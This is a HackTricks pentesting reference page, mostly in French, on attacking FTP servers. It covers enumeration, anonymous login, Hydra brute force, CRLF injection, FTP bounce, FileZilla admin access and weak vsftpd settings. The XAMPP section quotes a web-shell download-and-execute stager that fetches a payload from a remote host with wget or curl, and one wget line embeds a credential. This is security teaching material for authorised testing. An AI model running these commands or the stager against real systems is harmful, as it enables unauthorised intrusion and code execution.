21 - Pentesting FTP

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Le File Transfer Protocol (FTP) sert de protocole standard pour le transfert de fichiers sur un réseau informatique entre un serveur et un client.
C’est un protocole en texte en clair qui utilise comme caractère de nouvelle ligne 0x0d 0x0a, donc parfois vous devez vous connecter en utilisant telnet ou nc -C.

Port par défaut : 21

PORT   STATE SERVICE
21/tcp open  ftp

Connexions Active & Passive

Dans Active FTP le client FTP initie d’abord la connexion de contrôle depuis son port N vers le port de commande du serveur FTP – le port 21. Le client écoute ensuite le port N+1 et envoie le port N+1 au serveur FTP. Le serveur FTP initie ensuite la connexion de données, depuis son port M vers le port N+1 du client FTP.

Cependant, si le client FTP a un pare-feu qui contrôle les connexions de données entrantes depuis l’extérieur, alors Active FTP peut poser problème. Une solution envisageable est Passive FTP.

Dans Passive FTP, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet la passv comand. Le serveur envoie alors au client l’un de ses numéros de port M. Et le client initie la connexion de données depuis son port P vers le port M du serveur FTP.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Débogage de la connexion

Les commandes FTP debug et trace peuvent être utilisées pour voir comment la communication se déroule.

Énumération

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Se connecter à un serveur FTP en utilisant starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

Avec nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Vous pouvez utiliser les commandes HELP et FEAT pour obtenir des informations sur le serveur FTP :

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Connexion anonyme

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Vous trouverez ici une bonne liste d’identifiants ftp par défaut : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Automatisé

Les vérifications Anon login et bounce FTP sont effectuées par défaut par nmap avec l’option -sC ou:

nmap --script ftp-* -p 21 <ip>

Connexion via le navigateur

Vous pouvez vous connecter à un serveur FTP à l’aide d’un navigateur (comme Firefox) en utilisant une URL comme :

ftp://anonymous:anonymous@10.10.10.98

Notez que si une web application envoie des données contrôlées par un utilisateur directly to a FTP server, vous pouvez envoyer des octets double URL encode %0d%0a (en double URL encode ceci est %250d%250a) et faire en sorte que le FTP server perform arbitrary actions. L’une de ces actions arbitraires possibles est de télécharger du contenu depuis un serveur contrôlé par l’utilisateur, d’effectuer du port scanning ou d’essayer de communiquer avec d’autres services en clair (comme http).

Télécharger tous les fichiers depuis FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Si votre user/password contient des caractères spéciaux, la commande suivante peut être utilisée :

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

Racine FTP mappée au webroot (XAMPP)

  • XAMPP/ProFTPD mappe souvent la racine FTP sur /opt/lampp/htdocs, donc des identifiants faibles sur des comptes de service comme daemon ou nobody vous permettent de uploader une PHP web shell directement dans le webroot servi.
  • Après l’upload, déclenchez un architecture-aware download/exec stager via le shell, par exemple : webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), qui récupère une payload validée par checksum, l’enregistre (par ex. init_start), fait chmod +x et l’exécute.
  • Si le répertoire courant n’est pas inscriptible/exécutable, le stager retombe sur /tmp, donc testez les chemins web et les permissions du système de fichiers après l’upload.

Quelques commandes FTP

  • USER username
  • PASS password
  • HELP Le serveur indique quelles commandes sont supportées
  • PORT 127,0,0,1,0,80 Cela indique au serveur FTP d’établir une connexion avec l’IP 127.0.0.1 sur le port 80 (il faut mettre le 5e octet à “0” et le 6e à la valeur du port en décimal ou utiliser le 5e et le 6e pour exprimer le port en hex).
  • EPRT |2|127.0.0.1|80| Cela indique au serveur FTP d’établir une connexion TCP (indiquée par “2”) vers l’IP 127.0.0.1 sur le port 80. Cette commande supporte IPv6.
  • LIST Cela renverra la liste des fichiers du dossier courant
  • LIST -R Liste récursive (si autorisé par le serveur)
  • APPE /path/something.txt Indique au FTP de stocker les données reçues d’une connexion passive ou d’une connexion PORT/EPRT dans un fichier. Si le nom de fichier existe, les données seront ajoutées à la fin.
  • STOR /path/something.txt Comme APPE mais écrase les fichiers
  • STOU /path/something.txt Comme APPE, mais si le fichier existe il ne fait rien.
  • RETR /path/to/file Une connexion passive ou en mode PORT doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
  • REST 6 Indique au serveur que la prochaine fois qu’il enverra quelque chose avec RETR il doit commencer au 6e octet.
  • TYPE i Passe le transfert en binaire
  • PASV Ouvre une connexion passive et indique à l’utilisateur où il peut se connecter
  • PUT /tmp/file.txt Upload le fichier indiqué vers le FTP

FTPBounce attack

Certains serveurs FTP autorisent la commande PORT. Cette commande peut être utilisée pour indiquer au serveur que vous souhaitez vous connecter à un autre serveur FTP sur un port donné. Vous pouvez alors l’utiliser pour scanner quels ports d’un hôte sont ouverts via un serveur FTP.

Learn here how to abuse a FTP server to scan ports.

Vous pouvez aussi abuser de ce comportement pour faire interagir un serveur FTP avec d’autres protocoles. Vous pourriez upload a file containing an HTTP request et faire en sorte que le serveur FTP vulnérable send it to an arbitrary HTTP server (peut-être pour ajouter un nouvel admin user ?) ou même uploader une requête FTP et faire en sorte que le serveur FTP vulnérable télécharge un fichier depuis un autre serveur FTP.
La théorie est simple :

  1. Upload the request (inside a text file) to the vulnerable server. N’oubliez pas que si vous voulez communiquer avec un autre serveur HTTP ou FTP vous devez changer les retours de ligne par 0x0d 0x0a
  2. Use REST X to avoid sending the characters you don’t want to send (peut-être que pour uploader la requête dans le fichier vous avez dû mettre un header d’image au début)
  3. Use PORTto connect to the arbitrary server and service
  4. Use RETRto send the saved request to the server.

Il est fort probable que cela génère une erreur du type Socket not writable parce que la connexion ne dure pas assez pour envoyer les données avec RETR. Quelques suggestions pour tenter d’éviter cela :

  • If you are sending an HTTP request, put the same request one after another until ~0.5MB at least. Like this:

  • Essayez de remplir la requête avec des données “junk” relatives au protocole (pour FTP peut-être juste des commandes junk ou la répétition de l’instruction RETR pour récupérer le fichier)
  • Remplissez simplement la requête avec beaucoup de caractères nuls ou autres (répartis en lignes ou non)

Anyway, here you have an old example about how to abuse this to make a FTP server download a file from a different FTP server.

Filezilla Server Vulnerability

FileZilla usually binds to local an Administrative service for the FileZilla-Server (port 14147). Si vous pouvez créer un tunnel depuis votre machine pour accéder à ce port, vous pouvez connect à it en utilisant un blank password et create un new user pour le service FTP.

Fichiers de configuration

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

La configuration par défaut de vsFTPd se trouve dans /etc/vsftpd.conf. Dans ce fichier, vous pouvez trouver certains paramètres dangereux :

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Répertoire pour anonymous.
  • chown_uploads=YES - Changer le propriétaire des anonymously uploaded files
  • chown_username=username - Utilisateur qui reçoit la propriété des anonymously uploaded files
  • local_enable=YES - Permettre aux utilisateurs locaux de se connecter
  • no_anon_password=YES - Ne pas demander de mot de passe à anonymous
  • write_enable=YES - Autoriser les commandes : STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks